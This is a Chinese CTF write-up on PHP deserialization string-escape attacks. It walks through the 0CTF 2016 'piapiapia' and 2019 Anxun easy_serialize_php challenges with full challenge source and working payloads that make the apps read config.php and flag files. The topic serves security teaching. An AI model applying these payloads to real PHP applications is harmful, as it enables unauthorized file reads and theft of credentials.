0x01 前言

无意间做应该是0ctf2016的一道web题,get新点,总计一下。

0x02 代码审计

进去之后是一个登录界面,试了一下register.php发现可以注册,注册完成后登录跳转到update.php,让填手机、邮箱、nickname以及上传一个图片,这时想到的就是XSS和文件上传,所以都试了下发现都有限制,必须格式正确才行,题目有重要代码。

去审计源码。

这里放出了所有源码:
config.php

<?php$config['hostname'] = '127.0.0.1';$config['username'] = 'root';$config['password'] = '';$config['database'] = '';$flag = '';
?>

profile.php

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }$username = $_SESSION['username'];$profile=$user->show_profile($username);if($profile  == null) {header('Location: update.php');}else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));
?>

update.php

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {$username = $_SESSION['username'];if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');$file = $_FILES['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';}else {?>

class.php

<?php
require('config.php');class user extends mysql{private $table = 'users';public function is_exists($username) {$username = parent::filter($username);$where = "username = '$username'";return parent::select($this->table, $where);}public function register($username, $password) {$username = parent::filter($username);$password = parent::filter($password);$key_list = Array('username', 'password');$value_list = Array($username, md5($password));return parent::insert($this->table, $key_list, $value_list);}public function login($username, $password) {$username = parent::filter($username);$password = parent::filter($password);$where = "username = '$username'";$object = parent::select($this->table, $where);if ($object && $object->password === md5($password)) {return true;} else {return false;}}public function show_profile($username) {$username = parent::filter($username);$where = "username = '$username'";$object = parent::select($this->table, $where);return $object->profile;}public function update_profile($username, $new_profile) {$username = parent::filter($username);$new_profile = parent::filter($new_profile);$where = "username = '$username'";return parent::update($this->table, 'profile', $new_profile, $where);}public function __tostring() {return __class__;}
}class mysql {private $link = null;public function connect($config) {$this->link = mysql_connect($config['hostname'],$config['username'], $config['password']);mysql_select_db($config['database']);mysql_query("SET sql_mode='strict_all_tables'");return $this->link;}public function select($table, $where, $ret = '*') {$sql = "SELECT $ret FROM $table WHERE $where";$result = mysql_query($sql, $this->link);return mysql_fetch_object($result);}public function insert($table, $key_list, $value_list) {$key = implode(',', $key_list);$value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)";return mysql_query($sql);}public function update($table, $key, $value, $where) {$sql = "UPDATE $table SET $key = '$value' WHERE $where";return mysql_query($sql);}public function filter($string) {$escape = array('\'', '\\\\');       #\   \\ $escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}public function __tostring() {return __class__;}
}
session_start();
$user = new user();
$user->connect($config);

可以看到flag在config.php中
profile.php中,也就是我们的思路要读取这个config.php才能得到flag,所以去找文件读取的点

$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

在这里发现了反序列化,突然有想法就是构造序列化字符$profile,将photo变量赋值为config.php从而读取该文件。

我们先看一下更改信息的流程:
在update.php文件中:

 $profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';

传入了数组中这四个值,然后将数组序列化后带入user类中的update_profile方法中从而更改表信息。然后我们查看内容时会反序列化后返回给我们要看的信息。
但是我们再看mysql类中的这点:

 public function filter($string) {$escape = array('\'', '\\\\');       #\   \\ $escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}

这是一个防止sql注入的方法,其中他将上面五个sql关键字替换为了hacker。看起来没什么问题,但这却是我们最重要的利用点。

0x03 反序列化字符逃逸

我们更改的信息是要经过序列化存入数据库的,因此如果我们在信息中填入了关键字,比如:

a:2:{i:0;s:6:"select";i:1;s:5:"world";}

这样会替换为

a:2:{i:0;s:6:"hacker";i:1;s:5:"world";}

反序列化会正常执行,因为字符没什么问题,但如果填入了where。

a:2:{i:0;s:5:"where";i:1;s:5:"world";}

会替换为:

a:2:{i:0;s:5:"hacker";i:1;s:5:"world";}

这样就会发现会出错,因为where是五个字符,而hacker是六个,对于出where以外的其他都是六字符,所以只有where会出错,因此这就是我们的利用点。当我们把hacker多余的这个r替换成";i:1;s:5:“world”;}时,

a:2:{i:0;s:5:"hacke";i:1;s:5:"world";}";i:1;s:5:"world";}

php反序列化时会忽略后面的非法部分";i:1;s:5:“world”;},所以可以反序列化成功
所以我们可以多写几个where,这样在替换时每多出的一个r就为我们构造字符串提供一个位置,我们需要";}s:5:“photo”;s:10:“config.php”;}加在后面用来读config.php文件。共34个字符,因此需要加34的where,所以最后需要输入的数据为:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

这样在反序列化后大概就是这情况:

{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";i:1;s:5:"world";}

此时这34个字符会包含在204个总字符内。
替换为hacker后:

{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";i:1;s:5:"world";}

因为hacker比where多一个字符,所以正好占据了这多余的34个字符,使得其逃逸了出来,便可以成功反序列化。

payload构造成功了,就差输入点了,我们在什么位置才能成功输入这些字符呢
回头再看update.php中的waf内容

if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');$file = $_FILES['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');

看起来没有能绕过的,但nickname这个参数,发现可以用数组成功绕过的。
最终:

虽然有警告但成功更新了,打开界面返回的是个数组名说明我们传参成功了,图片没加载说明bas64应该是config内容

查看源代码,base64解码

更新一道字符逃逸题目

2019安洵杯easy_serialize_php

源码

<?php$function = @$_GET['f'];function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';// var_dump($filter);return preg_replace($filter,'',$img);
}if($_SESSION){unset($_SESSION);
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;extract($_POST);if(!$function){echo '<a href="un.php?f=highlight_file">source_code</a>';
}if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
// var_dump($_SESSION).'<br/>';
$serialize_info = filter(serialize($_SESSION));
//echo $serialize_info.'<br/>';
if($function == 'highlight_file'){highlight_file('un.php');
}else if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){$userinfo = unserialize($serialize_info);//var_dump($userinfo);echo file_get_contents(base64_decode($userinfo['img']));
}?>

源码不难理解,大致就是让f=show_image满足最后一个if条件,然后反序列化session,读取session中的img文件。但是在序列化session时经filter函数过滤了关键字,并且我们如果直接给img_path传值会经过sha1加密然后给session,可以看到最后是读不出文件的。所以这里绕过img_path传参,直接给session传值,利用函数过滤条件反序列化字符逃逸读取文件。

payload: _SESSION[BerL1n][1]=phpphpphpphp&_SESSION[BerL1n][2]=;i:2;s:55:"1111111111111111111111111111111111111111111111111111111";}s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn

我们打印下值看一下

a:2:{s:6:"BerL1n";a:2{i:1;s:12:"";i:2;s:105:";i:2;s:55:"1111111111111111111111111111111111111111111111111111111";}s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}array(2) { ["BerL1n"]=> array(2) { [1]=> string(12) "";i:2;s:105:" [2]=> string(55) "1111111111111111111111111111111111111111111111111111111" } ["img"]=> string(20) "L2QwZzNfZmxsbGxsbGFn" }
Warning: file_get_contents(/d0g3_fllllllag): failed to open stream: No such file or directory in

可以看到上面序列化字符串,成功逃逸出来成为我们想要的,最后面的img便会被撇弃。下面的反序列化后可以看到结果,这里报了一个错可以看到已经成功读取我们想要的文件,本地测试因为没有该文件。
题目中phpinfo发现文件

然后base64编码读取文件

看到flag位置,读取flag

0x04总结

这道题总看起来考的是代码审计反序列化,不过字符逃逸让反序列化成功我做题少没见过,刚开始一直没绕过来,学到新知识了。。。

一道ctf题关于php反序列化字符逃逸相关推荐

  1. ctf赛题上传一个php木马,从一道CTF题学习PHP反序列化漏洞

    一.CTF题目 前阵子,参加了一个CTF比赛,其中有一条道题蛮有意思的,所以写出来分享一下. 此题利用了PHP的反序列化漏洞,通过构造特殊的Payload绕过__wakeup()魔术方法,从而实现注入 ...

  2. 从一道CTF题学习PHP反序列化漏洞

    一.CTF题目 前阵子,参加了一个CTF比赛,其中有一条道题蛮有意思的,所以写出来分享一下. 此题利用了PHP的反序列化漏洞,通过构造特殊的Payload绕过__wakeup()魔术方法,从而实现注入 ...

  3. PHP反序列化由浅入深,细说php反序列化字符逃逸

    原标题:细说php反序列化字符逃逸 11/5 文章共计4381个词 预计阅读10分钟 前言 php反序列化的字符逃逸算是比较难理解的一个知识点,在最近的好几场比赛中都出现了相关的题,于是下定决心彻底理 ...

  4. 0CTF-2016-piapiapia(PHP反序列化字符逃逸)

    0CTF-2016-piapiapia(PHP反序列化字符逃逸) 0x01 前言 开学果然是对更新博客没得想法,趁着闲工夫,做了一下这个题,之前XCTF新春赛也出现了PHP反序列化逃逸,不过没做出来. ...

  5. Wmm的学习日记(浅学PHP反序列化字符逃逸)

    11月的第一个星期浅浅学习了一下PHP反序列化字符逃逸,也算是给11月开了个好头,作为一只刚刚开始学习网络安全的小白 ,基础知识不太行,如果有不对的地方欢迎大家指正,阿里嘎多,但是看了一些老师的视频和 ...

  6. php反序列化字符逃逸

    文章目录 php反序列化字符逃逸 php反序列化字符逃逸的原理 php反序列化字符逃逸分类 过滤后字符变多 过滤后字符串变少 参考文章: php反序列化字符逃逸 php反序列化字符逃逸的原理 当开发者 ...

  7. 记一道CTF中的phar反序列化

    Author: takahashi 提要 最近这段时间恍恍惚惚有点不知道干嘛, 想着闲来无事不如去做两道CTF,于是有了此文.记录一下自己做题的思路过程以及遇到的一些问题, 有不对不足之处还望师傅们斧 ...

  8. 每天一道算法题(39)——含有重复字符的全排列

    思路 (1)对于含有重复字符的全排列必须使用isSwap函数 (2)整体思路      a,交换当前子字符串(i----n-1)字符与子字符串后面的每一个位置的字符(满足交换条件下)      b,子 ...

  9. mysql is fashion ctf_一道CTF题引发的思考-MySQL的几个特性(续)

    0x00 背景 这两天处于转牛角尖的状态,非常不好.但是上一篇的中提到的问题总算是总结了些东西. 0x01 测试过程 (1)测试环境情况:创建了如下测试表test, mysql> select ...

最新文章

  1. 利用cre2进行分组模式匹配的实例
  2. 20145129 课程总结
  3. Spring Data JPA 复杂/多条件组合分页查询
  4. iptables详解(13):iptables动作总结之二
  5. kickstart research
  6. 使Safari在Windows Vista上每20秒停止崩溃
  7. maven 父maven_Maven不会吮吸。 。 。 但是Maven文件会
  8. 【渝粤教育】 国家开放大学2020年春季 2542行政组织学 参考试题
  9. Java Servlet JSP
  10. mysql的to 打印_如何在MySQL存儲過程中模擬打印
  11. html如何加入浮动客服,css如何实现客服悬浮效果
  12. 国家计算机机房地址,国家电子计算机机房设计规范..doc
  13. 全球最专业的技术媒体,如何复盘 2019 AI 的发展?
  14. Self-Organizing Map(自组织竞争型神经网络)
  15. 2022年中级网络工程师备考(非网络知识部分)
  16. HNUST--2187 最小生成树(邻接矩阵或邻接表)
  17. 区块链技术发展及应用场景
  18. [Beego]三、Filter 过滤器
  19. 我是不建议随便跳槽的
  20. 技巧分享:删除并关闭MacOS自动生成的隐藏文件

热门文章

  1. MOSFET 驱动电阻的选择
  2. 计算机绘图需要素描基础吗,学建筑设计一定要有绘画基础吗 学画画需要从什么基础开始?...
  3. 全球及中国屋顶绿化市场发展动态与十四五展望规划研究报告2022版
  4. 数字经济倒逼产业集约化发展,可视化构建物流一体化监管
  5. 机器人 瓷砖墙面清洗_墙壁清洁机器人.
  6. 信息流广告投放有哪些?
  7. Flutter技术与实战(5)
  8. 动态规划——钢筋切割问题的两种解法解析
  9. 关于SMBJ24CA
  10. web调用IC卡读卡器开发第一章